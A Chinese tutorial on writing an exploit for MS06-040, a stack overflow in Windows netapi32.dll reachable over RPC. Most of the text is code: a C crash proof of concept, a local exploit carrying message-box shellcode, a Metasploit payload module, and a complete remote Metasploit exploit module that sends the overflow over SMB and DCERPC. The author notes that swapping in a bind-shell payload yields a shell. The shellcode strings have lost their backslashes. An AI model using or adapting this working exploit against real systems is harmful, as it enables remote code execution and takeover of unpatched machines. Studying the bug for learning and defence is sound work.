远程RPC溢出EXP编写实战之MS06-040

0x01 前言

MS06-040算是个比较老的洞了，在当年影响十分之广，基本上Microsoft大部分操作系统都受到了影响，威力不亚于17年爆出的”永恒之蓝”漏洞。漏洞成因是Windows中参与socket网络的netapi32.dll动态链接库里的一个导出函数NetpwPathCanonicalize()存在栈溢出，而且这个函数能够通过RPC远程调用。由于是栈溢出利用起来不算太复杂，正好用来实践编写metasploit的远程利用脚本。

0x02 前期准备

1. Windows XP Professional sp3(非必需，我因为VC6安装在这上面，只是用来编译POC) 2. Windows 2000 Professional sp0(其他系统版本可能需要重新调试，更高版本可能需要绕过部分安全机制) 3. Kali Linux x64(安装有metasploit framework latest) 4. 调试器：Ollydbg 1.10 5. 编译器: VC++ 6.0 6. 反编译器: IDA 6.8 7. 注意: 需要未打补丁的netapi32.dll，Windows 2000在C:WINNTsystem32目录下能找到，或者用以下提供的dll，但远程exploit必须要带有未打补丁dll的系统。

0x03 定位崩溃点

VC++ 6.0编译POC, 运行

#include"stdafx.h"
#include <windows.h>

typedef void (*MYPROC)(LPTSTR, char *, int, char *, long *, bool);

int main()
{    
    char path[0x320];
    char can_path[0x440];
    int maxbuf=0x440;
    char prefix[0x100];
    long pathtype=44;

    HINSTANCE LibHandle;
    MYPROC Trigger;

    char dll[ ] = "./netapi32.dll";
    char VulFunc[ ] = "NetpwPathCanonicalize";
    LibHandle = LoadLibrary(dll);
    Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);

    memset(path,0,sizeof(path));
    memset(path,'a',sizeof(path)-2);
    memset(prefix,0,sizeof(prefix));
    memset(prefix,'b',sizeof(prefix)-2);

    (Trigger)(path,can_path,maxbuf,prefix ,&pathtype,0);
    FreeLibrary(LibHandle);

    return 0;
}

程序崩溃掉, OD附加上去, EIP被”aaaa”填充

执行文件拖到OD, 单步来到call netapi32.NetpwPathCanonicalize, 再往下程序崩掉

跟进NetpwPathCanonicalize函数, 执行MSVCRT.wcscat, 当retn时程序再次崩溃

此处应该就是崩溃点, 在IDA定位到该函数

copy”bbbbbb…”串到栈上

“bbbbb…”串尾部拼接一个0x005C

继续拼接”aaaaa…”串, 覆盖返回地址

0x04 本地exploit

漏洞的成因是在prefix串的基础上拼接path串时没有长度检查，导致栈溢出。下面通过构造prefix、path串实现本地exploit。

观察在崩溃函数retn时, ecx指向缓冲区的开始。这样可以把shellcode布置在”bbbbbb….”串里, 用一条call/jmp ecx跳到栈上执行

// ms06_040_exp.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <windows.h>

typedef void (*MYPROC)(LPTSTR, char *, int, char *, long *, bool);

char shellcode[]=
"x31xd2xb2x30x64x8bx12x8bx52x0cx8bx52x1cx8bx42x08"
"x8bx72x20x8bx12x80x7ex0cx33x75xf2x89xc7x03x78x3c"
"x8bx57x78x01xc2x8bx7ax20x01xc7x31xedx8bx34xafx01"
"xc6x45x81x3ex46x61x74x61x75xf2x81x7ex08x45x78x69"
"x74x75xe9x8bx7ax24x01xc7x66x8bx2cx6fx8bx7ax1cx01"
"xc7x8bx7cxafxfcx01xc7x68x67x20x20x01x68x79x30x75"
"x6ex68x20x77x6fx6fx89xe1xfex49x0bx31xc0x51x50xff"
"xd7";    // 弹框

int main()
{    
    char path[0x320];
    char can_path[0x440];
    int maxbuf=0x440;
    char prefix[0x100];
    long pathtype=44;

    HINSTANCE LibHandle;
    MYPROC Trigger;

    char dll[] = "./netapi32.dll";
    char VulFunc[] = "NetpwPathCanonicalize";

    LibHandle = LoadLibrary(dll);
    Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);

    memset(path,0,sizeof(path));
    memset(path,0x90,sizeof(path)-2);
    memset(prefix,0,sizeof(prefix));
    memset(prefix,'a',sizeof(prefix)-2);
    memcpy(prefix,shellcode,113);

    path[0x318]=0xF9;        // call ecx，可能需要调试确定
    path[0x319]=0x52;
    path[0x31A]=0x18;
    path[0x31B]=0x75;

    (Trigger)(path,can_path,maxbuf,prefix,&pathtype,0);
    FreeLibrary(LibHandle);

    return 0;
}

pwn~

0x05 远程exploit

很好，现在已经能够本地溢出NetpwPathCanonicalize()函数，下面我们利用metasploit提供的类库来写一份远程exp

##
# Author: wooy0ung
# Date:    2018/01/15
##

require 'msf/core'

module Metasploit3
  CachedSize = 200

  include Msf::Payload::Single

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'Windows Warning Box',
      'Description'   => 'Only for Version under Windows 7',
      'Author'        => [ 'wooy0ung' ],
      'Platform'      => 'win',
      'Arch'          => ARCH_X86,
      'Payload'       =>
        {
          'Payload' =>
               "x31xd2xb2x30x64x8bx12x8bx52x0cx8bx52x1cx8bx42x08"+
        "x8bx72x20x8bx12x80x7ex0cx33x75xf2x89xc7x03x78x3c"+
        "x8bx57x78x01xc2x8bx7ax20x01xc7x31xedx8bx34xafx01"+
        "xc6x45x81x3ex46x61x74x61x75xf2x81x7ex08x45x78x69"+
        "x74x75xe9x8bx7ax24x01xc7x66x8bx2cx6fx8bx7ax1cx01"+
        "xc7x8bx7cxafxfcx01xc7x68x67x20x20x01x68x79x30x75"+
        "x6ex68x20x77x6fx6fx89xe1xfex49x0bx31xc0x51x50xff"+
        "xd7"
        }
      ))
  end

end

以上是一段弹出警告框的payload，新建一个文本贴入以上代码，保存为warning.rb。

##
# Author: wooy0ung
# Date:    2018/01/15
##

require 'msf/core'  

class Metasploit3 < Msf::Exploit::Remote  
    Rank = GoodRanking

    include Exploit::Remote::DCERPC
    include Exploit::Remote::SMB::Client

    def initialize(info = {})

        super(update_info(info,
            'Name'           =>     "MS06-040 RPC Exploit",
            'Description'    =>     'Only for Windows 2000 Professional sp0',
                      'Author'         =>     [ 'wooy0ung' ],
            'Platform'       =>    "win",
            'DefaultOptions' =>    {'EXITFUNC' => 'thread',},
            'DefaultTarget'  =>     0,
            'Targets'        =>    [['Windows 2000 Professional sp0',  {'Ret' => [0x318 , 0x74FB62C3] }]]))

        register_options([OptString.new('SMBPIPE', [ true,  "The pipe name to use (BROWSER, SRVSVC)", 'BROWSER']),], self.class) 

    end

    def exploit

        connect()
        smb_login()

        handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188','3.0','ncacn_np',["\#{datastore['SMBPIPE']}"])
        dcerpc_bind(handle)

        prefix = payload.encoded + make_nops(0x100 - payload.encoded.length - 2) + "x00x00"

        path = make_nops(0x318) + [target['Ret'][1]].pack('V') + 
        "x04xD0xFDx7F" * 5 +        # 可写地址(这里原本是崩溃函数传入的5个参数)
        "x66x81xECx30x04" +        # sub esp,430 (0x100 + 0x318 + 4 * 6 = 0x430 将esp指向payload起始)
        "x8BxC4" +                 # mov eax, esp
        "xFFxE4" +                # jmp esp
        "x00x00"                # Unicode结束符

        stub =    NDR.long(rand(0xffffffff)) +
            NDR.UnicodeConformantVaryingString('') +
            NDR.UnicodeConformantVaryingStringPreBuilt(path) +
            NDR.long(rand(250)+1) +
            NDR.UnicodeConformantVaryingStringPreBuilt(prefix) +
            NDR.long(rand(250)+1) +
            NDR.long(0)    

        begin
              dcerpc.call(0x1f, stub, false)
            rescue Rex::Proto::DCERPC::Exceptions::NoResponse
            rescue => e
              if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
                  raise e
              end
                end

           handler
               disconnect

      end  
end

以上则是利用脚本，保存为ms06_040.rb，主要是构造shellcode(在path做ROP，跳到prefix中执行payload)，在Windows 2000下利用起来比较容易，不再作解释。

选择之前保存的exp和payload，设置好靶机ip，pwn~

当然，将普通弹框换成bind_shell的payload就可以拿到shell了~

0x06 后记

看了metasploit的exploits模块里MS06-040的利用脚本，发现这个洞一直影响到XP和Server 2003版本。因为主要是为了练习写metasploit框架的exp，所以就不继续延伸了。